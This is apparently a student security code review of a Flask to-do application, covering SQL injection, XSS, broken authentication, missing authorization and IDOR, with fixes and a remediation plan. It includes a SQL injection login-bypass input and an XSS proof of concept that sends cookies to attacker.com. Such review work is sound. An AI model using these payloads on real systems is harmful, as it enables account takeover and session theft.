 Print/Save as PDF

SECURITY CODE REVIEW REPORT

Company: Code Alpha

Assignment: Task 3: Secure Code Review

Review Date: June 4, 2025

Security Analyst: Omar Ashraf

CRITICAL SECURITY ALERT

This comprehensive security assessment of the TaskManager application has identified **7 distinct security vulnerabilities** across multiple attack vectors. The application contains **3 critical-severity** and **2 high-severity** vulnerabilities that pose immediate risks to data integrity, user privacy, and system security.

Immediate Action Required: Critical vulnerabilities must be addressed within 48 hours before any production deployment.

Target Application Profile

Application Name:	TaskManager Todo Web Application
Technology Stack:	Python Flask, SQLite Database
Application Type:	Web-based Task Management System
User Base:	Multi-user with authentication
Assessment Scope:	Full application security review

Methodology & Approach

Assessment Tools & Techniques

- Static Code Analysis using Bandit security scanner
- Manual Security Code Review with focus on OWASP Top 10
- Authentication & Authorization Testing
- Input Validation & Output Encoding Analysis
- Database Security Assessment

Security Standards Applied

- OWASP Top 10 Web Application Security Risks (2021)
- CWE (Common Weakness Enumeration) Classification
- CVSS v3.1 Scoring System
- SANS Top 25 Most Dangerous Software Errors

CRITICAL SECURITY FINDINGS

VULNERABILITY #1: SQL INJECTION ATTACK

Risk Level: CRITICAL

CVSS Score: 9.8/10

CWE Reference: CWE-89 (Improper Neutralization of Special Elements)

Affected Locations:

- /login endpoint (Line 67)
- /register endpoint (Line 108)

Technical Details: The application constructs SQL queries through direct string concatenation with user-supplied input, creating a classic SQL injection vulnerability.

Vulnerable Code Sample:

```
# CRITICAL VULNERABILITY - Line 67 query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'" cursor.execute(query)
```

Attack Vector:

```
Username: admin' OR '1'='1'-- Password: [anything]
```

Potential Impact:

- Complete database compromise and data exfiltration
- Authentication bypass allowing unauthorized access
- Data manipulation and destruction
- Potential for remote code execution

Remediation Strategy:

```
# SECURE IMPLEMENTATION cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
```

VULNERABILITY #2: CROSS-SITE SCRIPTING (XSS)

Risk Level: HIGH

CVSS Score: 8.2/10

CWE Reference: CWE-79 (Improper Neutralization of Input)

Affected Location: /search endpoint (Line 156)

Technical Analysis: User input from search queries is directly embedded into HTML responses without proper encoding or validation.

Vulnerable Code:

```
return f'''<h3>Results for: {search_term}</h3>'''
```

Proof of Concept:

```
/search?q=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
```

Secure Implementation:

```
from markupsafe import escape return f'''<h3>Results for: {escape(search_term)}</h3>'''
```

VULNERABILITY #3: BROKEN AUTHENTICATION

Risk Level: CRITICAL

CVSS Score: 9.1/10

CWE Reference: CWE-287 (Improper Authentication)

Multiple Authentication Flaws Identified:

1. **Hardcoded Secret Key**

   ```
   app.secret_key = "my_secret_key_2024" # CRITICAL FLAW
   ```

2. **Weak Password Requirements**
   - No complexity requirements
   - Default passwords like "password123"
3. **No Session Security**
   - Missing session timeout
   - No secure cookie flags

Comprehensive Fix:

```
import os from datetime import timedelta app.secret_key = os.environ.get('SECRET_KEY', os.urandom(32))
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=30) app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True
```

VULNERABILITY #4: AUTHORIZATION BYPASS

Risk Level: HIGH

CVSS Score: 8.5/10

CWE Reference: CWE-862 (Missing Authorization)

Affected Endpoints:

- /admin/users - No admin verification
- /admin/delete/<user_id> - Unrestricted user deletion

Vulnerable Implementation:

```
@app.route('/admin/users') def admin_users(): # Admin panel - need to add auth check sometime # NO AUTHORIZATION
CHECK PRESENT
```

Impact: Any authenticated user can access administrative functions

Secure Authorization Pattern:

```
from functools import wraps def admin_required(f): @wraps(f) def decorated_function(*args, **kwargs): if
'user_id' not in session: return redirect('/login') conn = get_db() cursor = conn.cursor()
cursor.execute("SELECT role FROM users WHERE id = ?", (session['user_id'],)) user = cursor.fetchone()
conn.close() if not user or user[0] != 'admin': return "Unauthorized Access", 403 return f(*args, **kwargs)
return decorated_function @app.route('/admin/users') @admin_required def admin_users(): # Secure admin function
```

VULNERABILITY #5: INSECURE DIRECT OBJECT REFERENCE

Risk Level: MEDIUM

CVSS Score: 6.5/10

CWE Reference: CWE-639 (Authorization Bypass Through User-Controlled Key)

Vulnerable Endpoints:

- /delete_task/<task_id> - No ownership verification
- /user/<user_id> - Unrestricted profile access

Attack Scenario: Users can manipulate task IDs to delete other users' tasks or access private information.

Secure Access Control:

```
@app.route('/delete_task/<int:task_id>') def delete_task(task_id): if 'user_id' not in session: return
redirect('/login') conn = get_db() cursor = conn.cursor() # Verify task ownership cursor.execute("SELECT user_id
FROM tasks WHERE id = ?", (task_id,)) task = cursor.fetchone() if not task or task[0] != session['user_id']:
return "Unauthorized - Access Denied", 403 cursor.execute("DELETE FROM tasks WHERE id = ? AND user_id = ?",
(task_id, session['user_id'])) conn.commit() conn.close() return redirect('/dashboard')
```

RISK ASSESSMENT MATRIX

Vulnerability	Risk Level	Exploitability	Business Impact	Remediation Time
SQL Injection	**Critical**	High	Complete Compromise	4-6 hours
Authentication Bypass	**Critical**	Medium	System Takeover	6-8 hours
Cross-Site Scripting	**High**	High	User Account Theft	2-4 hours
Authorization Missing	**High**	Medium	Data Manipulation	4-6 hours
Object Reference	**Medium**	Medium	Privacy Breach	2-3 hours
Weak Cryptography	**Medium**	Low	Credential Exposure	3-4 hours
Security Config	**Medium**	Low	Information Disclosure	1-2 hours

COMPREHENSIVE REMEDIATION ROADMAP

PHASE 1: IMMEDIATE CRITICAL FIXES (Next 48 Hours)

Priority 1 Actions:

1. **Fix SQL Injection Vulnerabilities**
   - Replace all string concatenation with parameterized queries
   - Implement input validation for all user inputs
   - Add SQL query logging for monitoring
2. **Secure Authentication System**
   - Generate cryptographically secure secret keys
   - Implement proper session management
   - Add password complexity requirements
3. **Implement Authorization Controls**
   - Add role-based access control (RBAC)
   - Verify user permissions for all protected endpoints
   - Create admin authentication middleware

PHASE 2: HIGH PRIORITY SECURITY ENHANCEMENTS (Next 1 Week)

Priority 2 Actions:

1. **XSS Prevention**
    - Implement output encoding for all user data
    - Add Content Security Policy (CSP) headers
    - Validate and sanitize all input fields
2. **Upgrade Cryptographic Security**
    - Replace MD5 with bcrypt/Argon2 for password hashing
    - Implement secure password reset functionality
    - Add account lockout after failed attempts
3. **Access Control Refinement**
    - Fix insecure direct object references
    - Implement proper ownership verification
    - Add audit logging for sensitive operations

PHASE 3: SECURITY HARDENING (Next 2 Weeks)

Long-term Security Improvements:

1. **Security Monitoring**
    - Implement comprehensive security logging
    - Add intrusion detection capabilities
    - Create security incident response procedures
2. **Additional Security Layers**
    - Add CSRF protection to all forms
    - Implement rate limiting for API endpoints
    - Add security headers (HSTS, X-Frame-Options, etc.)
3. **Security Process Integration**
    - Integrate security scanning into CI/CD pipeline
    - Establish regular security review cycles
    - Create security coding guidelines for developers

SECURITY BEST PRACTICES RECOMMENDATIONS

Secure Development Framework

Input Validation Strategy

- Validate all input at application boundaries
- Use allowlists instead of blocklists

- Implement both client-side and server-side validation
- Sanitize data based on output context

Authentication Best Practices

- Enforce strong password policies (12+ characters, complexity)
- Implement multi-factor authentication (MFA)
- Use secure session management with proper timeouts
- Add account lockout mechanisms after failed attempts

Database Security

- Always use parameterized queries or ORM
- Apply principle of least privilege to database accounts
- Encrypt sensitive data at rest and in transit
- Implement database connection pooling securely

COMPLIANCE & STANDARDS ALIGNMENT

Security Framework Compliance

Standard	Compliance Status	Key Requirements
OWASP Top 10 2021	**Non-Compliant**	Multiple critical violations
SANS Top 25	**Non-Compliant**	Input validation failures
ISO 27001	**Partial**	Security controls missing
NIST Cybersecurity	**Partial**	Authentication weaknesses

CONCLUSION & FINAL RECOMMENDATIONS

Security Assessment Summary

The TaskManager application demonstrates several critical security vulnerabilities that require immediate remediation before any production deployment. The identified SQL injection and authentication bypass vulnerabilities pose severe risks to data integrity and system security.

Key Success Metrics

- **24-48 hours:** Critical vulnerabilities resolved
- **1 week:** High-priority security enhancements implemented
- **2 weeks:** Complete security hardening achieved
- **Ongoing:** Security monitoring and maintenance established

Next Steps

1. **Immediate:** Begin critical vulnerability remediation
2. **Short-term:** Implement comprehensive security testing
3. **Long-term:** Establish secure development lifecycle (SDLC)
4. **Continuous:** Regular security assessments and updates

Report Classification: Confidential Security Assessment

Contact: Omar Ashraf | Code Alpha Security Team

Review Cycle: Quarterly Security Assessment Recommended

This comprehensive security analysis was conducted in accordance with industry-standard security assessment methodologies and best practices.